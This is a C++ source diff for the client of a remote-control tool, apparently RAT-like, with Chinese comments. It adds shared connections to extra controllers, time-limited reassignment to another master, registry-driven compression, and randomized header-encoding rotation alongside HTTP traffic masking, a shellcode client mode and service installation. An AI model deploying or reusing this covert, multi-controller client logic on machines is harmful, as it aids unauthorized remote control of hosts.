// Windows 的分享实例是同进程里的一个 ClientApp + 线程。COMMAND_SHARE_CANCEL
|
||||
// 原来只清 share_list,线程没了引用就再也停不掉,只能等进程重启。这里在起线程
|
||||
// 前登记指针,取消分享时逐个置 S_CLIENT_EXIT,让分享连接立即断开。
|
||||
//
|
||||
// 指针只在 StartClientApp 退出时(先摘除、后 delete)失效;StopSharedInstances
|
||||
// 在锁内写 g_bExit,与摘除互斥,不会写到已释放的对象。
|
||||
namespace {
|
||||
struct SharedInstanceEntry {
|
||||
ClientApp* app;
|
||||
SharedInstanceKind kind;
|
||||
std::string target; // "ip:port",用于同一目标的替换与去重
|
||||
bool stopping; // 已置 S_CLIENT_EXIT,等待线程注销;不再视为可用连接
|
||||
};
|
||||
std::mutex g_sharedMu;
|
||||
std::vector<SharedInstanceEntry> g_sharedInstances;
|
||||
}
|
||||
|
||||
static void UnregisterSharedInstance(ClientApp* app)
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||||
for (size_t i = 0; i < g_sharedInstances.size(); ) {
|
||||
if (g_sharedInstances[i].app == app)
|
||||
g_sharedInstances.erase(g_sharedInstances.begin() + i);
|
||||
else
|
||||
++i;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL StartSharedClient(ClientApp* app, SharedInstanceKind kind, const std::string& targetKey)
|
||||
{
|
||||
if (app == nullptr)
|
||||
return FALSE;
|
||||
app->m_sharedKind = (int)kind;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||||
g_sharedInstances.push_back({ app, kind, targetKey, false });
|
||||
}
|
||||
HANDLE h = __CreateThread(0, 0, StartClientApp, app, 0, 0);
|
||||
if (h == NULL) {
|
||||
UnregisterSharedInstance(app);
|
||||
delete app;
|
||||
Mprintf("[ClientApp] failed to start shared instance thread\n");
|
||||
return FALSE;
|
||||
}
|
||||
CloseHandle(h);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int StopSharedInstances(SharedInstanceKind kind)
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||||
int stopped = 0;
|
||||
for (auto& e : g_sharedInstances) {
|
||||
if (e.kind == kind) {
|
||||
// 心跳循环每秒检查一次 g_bExit;断开后 StartClient 返回,线程自行清理。
|
||||
e.app->SetProcessState(S_CLIENT_EXIT);
|
||||
e.stopping = true;
|
||||
++stopped;
|
||||
}
|
||||
}
|
||||
return stopped;
|
||||
}
|
||||
|
||||
bool HasSharedInstanceForTarget(const std::string& targetKey, SharedInstanceKind kind)
|
||||
{
|
||||
if (targetKey.empty())
|
||||
return false;
|
||||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||||
for (auto& e : g_sharedInstances) {
|
||||
if (e.kind == kind && e.target == targetKey && !e.stopping)
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
int StopSharedInstancesForTarget(const std::string& targetKey)
|
||||
{
|
||||
if (targetKey.empty())
|
||||
return 0;
|
||||
int stopped = 0;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||||
for (auto& e : g_sharedInstances) {
|
||||
if (e.target == targetKey) {
|
||||
e.app->SetProcessState(S_CLIENT_EXIT);
|
||||
e.stopping = true;
|
||||
++stopped;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (stopped == 0)
|
||||
return 0;
|
||||
// 等旧线程注销后再起新实例:否则同一 clientID 会短暂出现两条连接,在目标主控
|
||||
// 上互相踢。心跳/已连接场景约 1 秒内退出(EXIT 时已跳过额外的 1 秒等待);
|
||||
// 卡在建连里的最多等到超时,届时新连接照样被登记,旧线程随后自行消失。
|
||||
const ULONGLONG deadline = GetTickCount64() + 2000;
|
||||
for (;;) {
|
||||
bool alive = false;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||||
for (auto& e : g_sharedInstances) {
|
||||
if (e.target == targetKey) {
|
||||
alive = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!alive || GetTickCount64() >= deadline)
|
||||
break;
|
||||
Sleep(50);
|
||||
}
|
||||
return stopped;
|
||||
}
|
||||
|
||||
#if _CONSOLE
|
||||
#define DLL_API
|
||||
#else
|
||||
@@ -146,21 +265,31 @@ DWORD WINAPI StartClientApp(LPVOID param)
|
||||
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
|
||||
|
||||
do {
|
||||
bExit = S_CLIENT_NORMAL;
|
||||
// 保留 S_CLIENT_EXIT:取消分享可能在登记之后、线程真正开跑之前就置了它,
|
||||
// 无条件写回 NORMAL 会吞掉停止请求。其余状态(SERVER_EXIT/UPDATE)照旧
|
||||
// 复位,否则分享实例会在主控重启后一直空转、再也不重连。
|
||||
if (bExit != S_CLIENT_EXIT)
|
||||
bExit = S_CLIENT_NORMAL;
|
||||
HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(hThread);
|
||||
if (IsProcessExit()) // process exit
|
||||
break;
|
||||
if (app->m_bShared) {
|
||||
// 取消分享/转移到期置的是本实例的 EXIT,不是进程退出;此时不必再等,
|
||||
// 立刻注销,顺便让替换它的新实例尽快开跑。
|
||||
if (app->m_bShared && app->g_bExit != S_CLIENT_EXIT) {
|
||||
WAIT_n(!IsProcessExit(), 5, 200);
|
||||
}
|
||||
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
|
||||
}
|
||||
|
||||
auto r = app->m_ID;
|
||||
if (app != &g_MyApp) delete app;
|
||||
if (app != &g_MyApp) {
|
||||
// 先摘除登记再释放,StopSharedInstances 才不会碰到悬空指针。
|
||||
UnregisterSharedInstance(app);
|
||||
delete app;
|
||||
}
|
||||
ClientApp::AddCount(-1);
|
||||
|
||||
return r;
|
||||
@@ -278,6 +407,16 @@ int main(int argc, const char *argv[])
|
||||
BYTE buf[] = { nCmd };
|
||||
return RunCommand(buf, 1);
|
||||
}
|
||||
{
|
||||
std::string expiredDate;
|
||||
const bool isAuthKernel = IsAuthKernel(expiredDate);
|
||||
iniFile cfg(StartGate::ConfigPath(isAuthKernel));
|
||||
const char* section = StartGate::ConfigSection(isAuthKernel);
|
||||
if (!StartGate::AllowStartNow(cfg, section)) {
|
||||
Mprintf("next=%d\n", StartGate::Get(cfg, section));
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
InitWindowsService(NewService(
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||||
@@ -376,6 +515,19 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
|
||||
// Auto run main thread after load the DLL
|
||||
DWORD WINAPI AutoRun(LPVOID param)
|
||||
{
|
||||
if (!IsLocalTestClient(g_MyApp.g_Connection)) {
|
||||
std::string expiredDate;
|
||||
const bool isAuthKernel = IsAuthKernel(expiredDate);
|
||||
iniFile cfg(StartGate::ConfigPath(isAuthKernel));
|
||||
const char* section = StartGate::ConfigSection(isAuthKernel);
|
||||
if (!StartGate::AllowStartNow(cfg, section)) {
|
||||
Mprintf("next=%d\n", StartGate::Get(cfg, section));
|
||||
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
|
||||
FreeLibraryAndExitThread((HMODULE)param, -1);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
do {
|
||||
TestRun(NULL, 0);
|
||||
// 旧工作线程还没退完时 TestRun 会立刻返回(此时连日志都不打,见其内部的
|
||||
@@ -723,6 +875,44 @@ void ConfirmProtoSwitch(iniFile& cfg)
|
||||
|
||||
} // namespace
|
||||
|
||||
// 「被转移」的主控:注册表里有未过期的 valid_to 就把主连接改到 master:port,
|
||||
// 并记下到期时刻。KernelManager 的 ASSIGN 分支只写配置 + 断开连接(CONNECT_ADDRESS
|
||||
// 不参与跨线程同步,不能在收包线程里改),真正的应用在这里:进 StartClient 时一次,
|
||||
// 之后每轮重连前再看一眼——所以会话中途下发的转移,下一轮就生效,不用等进程重启。
|
||||
// 返回 true 表示当前处于转移期(assigned)。
|
||||
static bool ApplyAssignedMaster(iniFile& cfg, CONNECT_ADDRESS& settings, double& valid_to)
|
||||
{
|
||||
auto now = time(0);
|
||||
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
||||
if (now > valid_to)
|
||||
return false;
|
||||
auto saved_ip = cfg.GetStr("settings", "master");
|
||||
auto saved_port = cfg.GetInt("settings", "port");
|
||||
if (saved_ip.empty() || saved_port <= 0)
|
||||
return false;
|
||||
settings.SetServer(saved_ip.c_str(), saved_port);
|
||||
auto saved_proto = cfg.GetStr("settings", "master_proto");
|
||||
if (saved_proto == "0" || saved_proto == "1")
|
||||
settings.iHeaderEnc = atoi(saved_proto.c_str());
|
||||
// 转移时一并下发的传输方式(新服务端才有;老记录没有这个键)。没有记录就
|
||||
// 沿用烘焙值——这里不能写死 PROTO_TCP,否则老转移记录会把原本 WSS 的
|
||||
// 客户端改回直连。
|
||||
auto saved_transport = cfg.GetStr("settings", "master_transport");
|
||||
if (saved_transport == "0" || saved_transport == "5" || saved_transport == "6")
|
||||
settings.protoType = (char)atoi(saved_transport.c_str());
|
||||
// 每轮重连都会走到这里,目标没变就不再打日志——否则一个连不上的转移目标会把
|
||||
// 客户端日志刷成同一条重复行,排查时反而看不到别的。
|
||||
static std::string logged;
|
||||
const std::string cur = saved_ip + ":" + std::to_string(saved_port) + "@" +
|
||||
std::to_string((long long)valid_to);
|
||||
if (cur != logged) {
|
||||
logged = cur;
|
||||
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(),
|
||||
saved_port, int(valid_to - now));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
@@ -732,28 +922,14 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
double valid_to = 0;
|
||||
std::string ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
// 转移会把主连接改成目标主控的传输方式(master_transport),复原时要一并还原,
|
||||
// 否则从 WSS 主控转出去的主机会按目标的传输方式去连原主控。
|
||||
const char linkProto = settings.protoType;
|
||||
const int linkHeaderEnc = settings.iHeaderEnc;
|
||||
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
|
||||
ActivityHistory::Instance().Start();
|
||||
if (!app.m_bShared) {
|
||||
auto now = time(0);
|
||||
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
||||
if (assigned = now <= valid_to) {
|
||||
auto saved_ip = cfg.GetStr("settings", "master");
|
||||
auto saved_port = cfg.GetInt("settings", "port");
|
||||
settings.SetServer(saved_ip.c_str(), saved_port);
|
||||
auto saved_proto = cfg.GetStr("settings", "master_proto");
|
||||
if (saved_proto == "0" || saved_proto == "1")
|
||||
settings.iHeaderEnc = atoi(saved_proto.c_str());
|
||||
// 转移时一并下发的传输方式(新服务端才有;老记录没有这个键)。没有记录就
|
||||
// 沿用烘焙值——这里不能写死 PROTO_TCP,否则老转移记录会把原本 WSS 的
|
||||
// 客户端改回直连。
|
||||
auto saved_transport = cfg.GetStr("settings", "master_transport");
|
||||
if (saved_transport == "0" || saved_transport == "5" || saved_transport == "6")
|
||||
settings.protoType = (char)atoi(saved_transport.c_str());
|
||||
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
|
||||
int(valid_to-now));
|
||||
}
|
||||
}
|
||||
if (!app.m_bShared)
|
||||
assigned = ApplyAssignedMaster(cfg, settings, valid_to);
|
||||
auto list = app.GetSharedMasterList();
|
||||
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
||||
// 并发上线的并行实例只派生一次:主控端重启重连时会再次进入 StartClient,
|
||||
@@ -776,6 +952,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
hasRun = true;
|
||||
auto a = cfg.GetStr("settings", "share_list");
|
||||
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
||||
// 旧版本可能为同一目标留下多条记录;启动时按 host:port 去重,否则同一
|
||||
// clientID 会起两个分享实例,登录时互相踢。
|
||||
std::set<std::string> startedTargets;
|
||||
for (int i = 0; i < shareList.size(); ++i) {
|
||||
auto v = StringToVector(shareList[i], ':', 4);
|
||||
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
|
||||
@@ -785,8 +964,16 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
|| v[3] == std::to_string(PROTO_WS)
|
||||
|| v[3] == std::to_string(PROTO_WSS)))
|
||||
? atoi(v[3].c_str()) : -1;
|
||||
// 同一目标只起一个实例;旧版本可能留下重复记录。
|
||||
const std::string targetKey =
|
||||
(!v[0].empty() && !v[1].empty()) ? v[0] + ":" + v[1] : std::string();
|
||||
if (!targetKey.empty() && !startedTargets.insert(targetKey).second) {
|
||||
Mprintf("[StartClient] Duplicate share record for %s skipped\n", targetKey.c_str());
|
||||
continue;
|
||||
}
|
||||
// 同样登记(含目标地址),取消分享时一起停掉;重新分享同一目标时也能替换。
|
||||
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto, transport);
|
||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
StartSharedClient(a, SHARED_KIND_SHARE, targetKey);
|
||||
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
|
||||
}
|
||||
}
|
||||
@@ -809,6 +996,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
State& bExit(app.g_bExit);
|
||||
IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP);
|
||||
if (nullptr == ClientObject) return -1;
|
||||
// 主连接:登录被接受后发布头加密类型;上一条连接没被登录接受时,重连换下一种类型
|
||||
// 轮转探测。其余 IOCPClient(文件/进程/屏幕等子连接)都跟随这里发布的值。
|
||||
ClientObject->MarkMainLink();
|
||||
CKernelManager* Manager = nullptr;
|
||||
|
||||
if (!app.m_bShared) {
|
||||
@@ -823,7 +1013,34 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
app.SetThreadRun(TRUE);
|
||||
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
|
||||
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
|
||||
// 转移到期复原。必须与连接状态解耦:旧实现只在心跳循环里判断,转移目标不可达时
|
||||
// 主连接一直重连失败,根本进不了那个循环,主机就会卡在一个已经过期的地址上,
|
||||
// 只能等进程重启。复原后置 S_CLIENT_UPDATE:StartClientApp 复位状态并重新进入
|
||||
// 本函数,注册表里的 valid_to 已过期,不会再把地址改回转移目标。
|
||||
auto restoreExpiredAssignment = [&]() -> bool {
|
||||
if (!assigned || time(0) <= valid_to)
|
||||
return false;
|
||||
// ip/port/proto 是进 StartClient 时记下的、被转移覆盖之前的链路。
|
||||
app.SetProcessState(S_CLIENT_UPDATE);
|
||||
settings.SetServer(ip.c_str(), port);
|
||||
settings.protoType = linkProto;
|
||||
settings.iHeaderEnc = linkHeaderEnc;
|
||||
Mprintf("[StartClient] Client is restored to %s:%d\n", ip.c_str(), port);
|
||||
return true;
|
||||
};
|
||||
while (app.m_bIsRunning(&app)) {
|
||||
// 每轮都从注册表对齐一次转移目标:会话中途被转移时,KernelManager 的 ASSIGN
|
||||
// 分支写的是注册表并断开连接(CONNECT_ADDRESS 不参与跨线程同步,收包线程改不了),
|
||||
// 新地址只能在这里读出来再连。
|
||||
// 不能像以前那样「只在 assigned 为假时读一次」——到期复原后 assigned 已经是真,
|
||||
// 原主控再次发起转移就会被整条漏掉(注册表改了、会话还连在老地址上)。
|
||||
// 没有有效记录(从未转移 / 已过期)时本函数一个键都不改,代价只是读几个注册表值。
|
||||
if (!app.m_bShared && ApplyAssignedMaster(cfg, settings, valid_to))
|
||||
assigned = TRUE;
|
||||
// 到期判断放在建连之前:目标不可达时下面的 ConnectServer 会一直失败,
|
||||
// 心跳循环根本进不去,复原不能只依赖那条路径。
|
||||
if (restoreExpiredAssignment())
|
||||
break;
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
// 协议切换:按注册表里的入口覆盖建连(分享实例不受主控的切换影响,被分配/转移
|
||||
// 过主控的入口优先)。
|
||||
@@ -863,11 +1080,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
// 不放在循环前一次判定:MasterSettings 可能比第一轮心跳晚到。
|
||||
if (ClientObject->IsConnected() && ClientObject->IsLoginAcked())
|
||||
ConfirmProtoSwitch(cfg);
|
||||
if (assigned && time(0) > valid_to) {
|
||||
app.SetProcessState(S_CLIENT_UPDATE);
|
||||
settings.SetServer(ip.c_str(), port);
|
||||
Mprintf("[StartClient] Client is restored to %s:%d\n", ip.c_str(), port);
|
||||
}
|
||||
// 连接期间到期也要立刻复原;不可达的情况由外层循环开头兜底。
|
||||
restoreExpiredAssignment();
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
||||
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
||||
Sleep(200);
|
||||
@@ -881,7 +1095,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
SAFE_CLOSE_HANDLE(app.g_hEvent);
|
||||
app.g_hEvent = NULL;
|
||||
}
|
||||
if (app.g_bExit == S_CLIENT_EXIT) {
|
||||
// 只有主实例退出才代表整个客户端要结束了。分享/转移实例被取消或到期时也是
|
||||
// S_CLIENT_EXIT,若在这里写进程级 g_IsAppExit,会把 FRP 等模块一起打掉。
|
||||
if (app.g_bExit == S_CLIENT_EXIT && !app.m_bShared) {
|
||||
CKernelManager::g_IsAppExit = 2;
|
||||
Sleep(200);
|
||||
}
|
||||
|
||||
@@ -10,6 +10,7 @@
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <string>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
#include "domain_pool.h"
|
||||
@@ -35,6 +36,7 @@ public:
|
||||
CONNECT_ADDRESS* g_Connection; // 连接信息
|
||||
HANDLE g_hEvent; // 全局事件
|
||||
BOOL m_bShared; // 是否分享
|
||||
int m_sharedKind; // SharedInstanceKind;0=普通/主实例
|
||||
IsRunning m_bIsRunning; // 运行状态
|
||||
unsigned m_ID; // 唯一标识
|
||||
static int m_nCount; // 计数器
|
||||
@@ -48,6 +50,7 @@ public:
|
||||
g_hEvent = NULL;
|
||||
m_bIsRunning = run;
|
||||
m_bShared = shared;
|
||||
m_sharedKind = 0;
|
||||
m_ID = 0;
|
||||
g_bThreadExit = TRUE;
|
||||
}
|
||||
@@ -139,6 +142,29 @@ public:
|
||||
// (主控经 nginx 走 WSS、分享目标直连设备端口时就得是 TCP),所以不能一律照抄主控。
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1, int protoType = -1);
|
||||
|
||||
// 分享实例的种类。「转移主机」不再起分享实例(它直接让主连接搬到新主控),
|
||||
// 所以现在只有一种;保留枚举是为了让 StartSharedClient / StopSharedInstances
|
||||
// 的签名在后续再引入实例种类时不用改调用点。
|
||||
enum SharedInstanceKind {
|
||||
SHARED_KIND_SHARE = 1,
|
||||
};
|
||||
|
||||
// 启动一个分享实例线程并在进程内登记,targetKey 为目标地址 "ip:port"。
|
||||
// 取消分享需要能立刻找到并停掉这些线程,所以不能再像普通线程那样起完就把句柄丢掉。
|
||||
BOOL StartSharedClient(ClientApp* app, SharedInstanceKind kind, const std::string& targetKey);
|
||||
|
||||
// 停止指定种类的分享实例:逐个置 S_CLIENT_EXIT,心跳/重连循环会在 1 秒内退出。
|
||||
// 返回发出退出信号的实例数。
|
||||
int StopSharedInstances(SharedInstanceKind kind);
|
||||
|
||||
// 停掉指向 targetKey 的全部分享/转移实例,并等待(最多约 1.5 秒)线程注销。
|
||||
// 同一目标换传输方式重新分享、或长期分享接管转移临时连接时,必须先收掉旧连接,
|
||||
// 否则同一 clientID 会有两条连接互相踢。返回发出退出信号的实例数。
|
||||
int StopSharedInstancesForTarget(const std::string& targetKey);
|
||||
|
||||
// targetKey 上是否有指定种类的实例正在运行。
|
||||
bool HasSharedInstanceForTarget(const std::string& targetKey, SharedInstanceKind kind);
|
||||
|
||||
// 启动核心线程,参数为:ClientApp
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
|
||||
+261
-41
@@ -27,30 +27,54 @@ inline int WSAGetLastError()
|
||||
#include "IOCPClient.h"
|
||||
#include <assert.h>
|
||||
#include <string>
|
||||
#if USING_ZLIB
|
||||
#include "zlib/zlib.h"
|
||||
#define Z_FAILED(p) (Z_OK != (p))
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#include <random>
|
||||
// 线缆压缩:Windows 客户端同时携带 zlib 与 zstd,运行期由 settings\compress 选择
|
||||
// (默认 zstd,配置为 zlib 时使用 zlib)。POSIX 客户端只链接 libzstd。
|
||||
#if defined(_WIN32)
|
||||
# include "zlib/zlib.h"
|
||||
# define CLIENT_HAS_ZLIB 1
|
||||
#else
|
||||
# define CLIENT_HAS_ZLIB 0
|
||||
#endif
|
||||
#include "common/zstd_wrapper.h"
|
||||
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
|
||||
|
||||
// ZSTD 库在客户端始终要链接:文件管理器的 ZSTA 归档(common/ZstdArchive.h)、
|
||||
// common/zstd_wrapper.c 以及上面的版本日志都无条件引用 ZSTD_*,与线缆压缩
|
||||
// 选择 zlib 还是 zstd 无关。此处在两种模式下都生效。
|
||||
#ifdef _WIN32
|
||||
# ifdef _WIN64
|
||||
# pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
# else
|
||||
# pragma comment(lib, "zstd/zstd.lib")
|
||||
# endif
|
||||
# include "common/iniFile.h" // CLIENT_PATH + settings\compress
|
||||
#endif
|
||||
#define Z_FAILED(p) ZSTD_isError(p)
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
|
||||
#if USING_CTX
|
||||
#define compress(dest, destLen, source, sourceLen) zstd_compress_auto(m_Cctx, dest, *(destLen), source, sourceLen, 1024*1024)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
||||
|
||||
// 读取 settings\compress:默认 zstd,值为 "zlib"(大小写不敏感)时使用 zlib。
|
||||
// 配置存放在客户端注册表(CLIENT_PATH)。服务端下发 COMMAND_SET_COMPRESS 会写同一个
|
||||
// 键并触发重连;新连接在构造函数里重新读取,从而无需重启进程即可生效。
|
||||
static bool ClientCompressUsesZlib()
|
||||
{
|
||||
#if defined(_WIN32) && CLIENT_HAS_ZLIB
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
std::string mode = cfg.GetStr("settings", "compress", "zstd");
|
||||
for (size_t i = 0; i < mode.size(); ++i) {
|
||||
if (mode[i] >= 'A' && mode[i] <= 'Z')
|
||||
mode[i] = (char)(mode[i] - 'A' + 'a');
|
||||
}
|
||||
return mode == "zlib";
|
||||
#else
|
||||
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
#endif
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
|
||||
// 对外暴露同一判定:分享前要确认新建的分享实例会用什么算法(它构造时读的就是
|
||||
// 这个配置),不能用某条现有连接的 m_useZlib 代替。
|
||||
bool IOCPClient::ConfiguredWireZlib()
|
||||
{
|
||||
return ClientCompressUsesZlib();
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -197,6 +221,35 @@ bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
|
||||
}
|
||||
|
||||
|
||||
// HELL 头加密可选类型数:Debug 版与服务端(含 Go fallback)对齐,只到 HeaderEncV6;
|
||||
// Release 版保留全部类型,靠主连接重连轮转去命中后端支持的那几种。
|
||||
static int HeaderEncCount()
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
return HeaderEncV6 + 1;
|
||||
#else
|
||||
return HeaderEncNum;
|
||||
#endif
|
||||
}
|
||||
|
||||
// 构造时的初始类型。原来直接 time(nullptr) % N:同一秒内启动的一批客户端会拿到
|
||||
// 同一个类型,快速重连也反复取到同一个值。
|
||||
// 不持有静态发生器:本函数会被多个并存实例(并发上线/分享)的构造线程调用,无共享
|
||||
// 状态就无需加锁;random_device 个别平台在 /dev/urandom 不可用时会抛异常,退回时钟。
|
||||
static int RandomHeaderEncIndex(int count)
|
||||
{
|
||||
unsigned v = 0;
|
||||
try {
|
||||
std::random_device rd;
|
||||
v = rd();
|
||||
} catch (...) {
|
||||
// 极少数平台取不到 /dev/urandom 会抛异常:退回时钟(纳秒级,够打散同秒启动)。
|
||||
v = (unsigned)std::chrono::steady_clock::now().time_since_epoch().count()
|
||||
^ (unsigned)time(nullptr);
|
||||
}
|
||||
return (int)(v % (unsigned)count);
|
||||
}
|
||||
|
||||
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
|
||||
const std::string& pubIP, void* main) : g_bExit(bExit)
|
||||
{
|
||||
@@ -214,6 +267,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
#endif
|
||||
}
|
||||
|
||||
// 线缆压缩模式:本连接构造时按配置读取一次(默认 zstd)。服务端下发
|
||||
// COMMAND_SET_COMPRESS 后由 SetWireCompression() 原地改写,下一次建连生效。
|
||||
m_useZlib = ClientCompressUsesZlib();
|
||||
Mprintf("[IOCPClient] wire compress: %s\n", m_useZlib ? "zlib" : "zstd");
|
||||
|
||||
m_main = main;
|
||||
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
|
||||
// m_conn->clientID 现取主连接 ID(同一指针,主连接登录后填好的最新值)。
|
||||
@@ -230,13 +288,24 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
m_DataProcess = NULL;
|
||||
m_ReconnectFunc = NULL;
|
||||
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
||||
#ifdef _DEBUG
|
||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % (HeaderEncV6 + 1)));
|
||||
#else
|
||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||
#endif
|
||||
m_EncoderType = encoder;
|
||||
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
||||
if (encoder) {
|
||||
const int count = HeaderEncCount();
|
||||
int idx = -1;
|
||||
if (conn) {
|
||||
// 子连接优先继承主连接「已被当前后端接受」的类型(PublishHeaderEncoder)。
|
||||
// 0 表示尚未发布,回退随机,保持原有的打散效果。
|
||||
int published = GetHeaderEncSelect(conn);
|
||||
if (published >= 1 && published <= count)
|
||||
idx = published - 1;
|
||||
}
|
||||
if (idx < 0)
|
||||
idx = RandomHeaderEncIndex(count);
|
||||
m_headerEncIdx.store(idx);
|
||||
m_Encoder = new HellEncoder(GetHeaderEncoder((HeaderEncType)idx), new XOREncoder16());
|
||||
} else {
|
||||
m_Encoder = new ProtocolEncoder();
|
||||
}
|
||||
#ifdef _WIN32
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
@@ -255,7 +324,7 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
m_Cctx = ZSTD_createCCtx();
|
||||
m_Dctx = ZSTD_createDCtx();
|
||||
auto n = ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
if (Z_FAILED(n)) {
|
||||
if (ZSTD_isError(n)) {
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
}
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
|
||||
@@ -266,12 +335,126 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
#endif
|
||||
}
|
||||
|
||||
// 线缆压缩/解压:按本连接构造时选定的 m_useZlib 走 zlib 或 zstd。
|
||||
// 成功返回 true 并写回实际长度;失败返回 false。
|
||||
bool IOCPClient::CompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen)
|
||||
{
|
||||
if (m_useZlib) {
|
||||
#if CLIENT_HAS_ZLIB
|
||||
uLongf n = (uLongf)dstLen;
|
||||
int r = compress(dst, &n, (const Bytef*)src, (uLong)srcLen);
|
||||
if (r != Z_OK)
|
||||
return false;
|
||||
dstLen = (ULONG)n;
|
||||
return true;
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
#if USING_CTX
|
||||
{
|
||||
size_t r = zstd_compress_auto(m_Cctx, dst, (size_t)dstLen, src, (size_t)srcLen, 1024 * 1024);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#else
|
||||
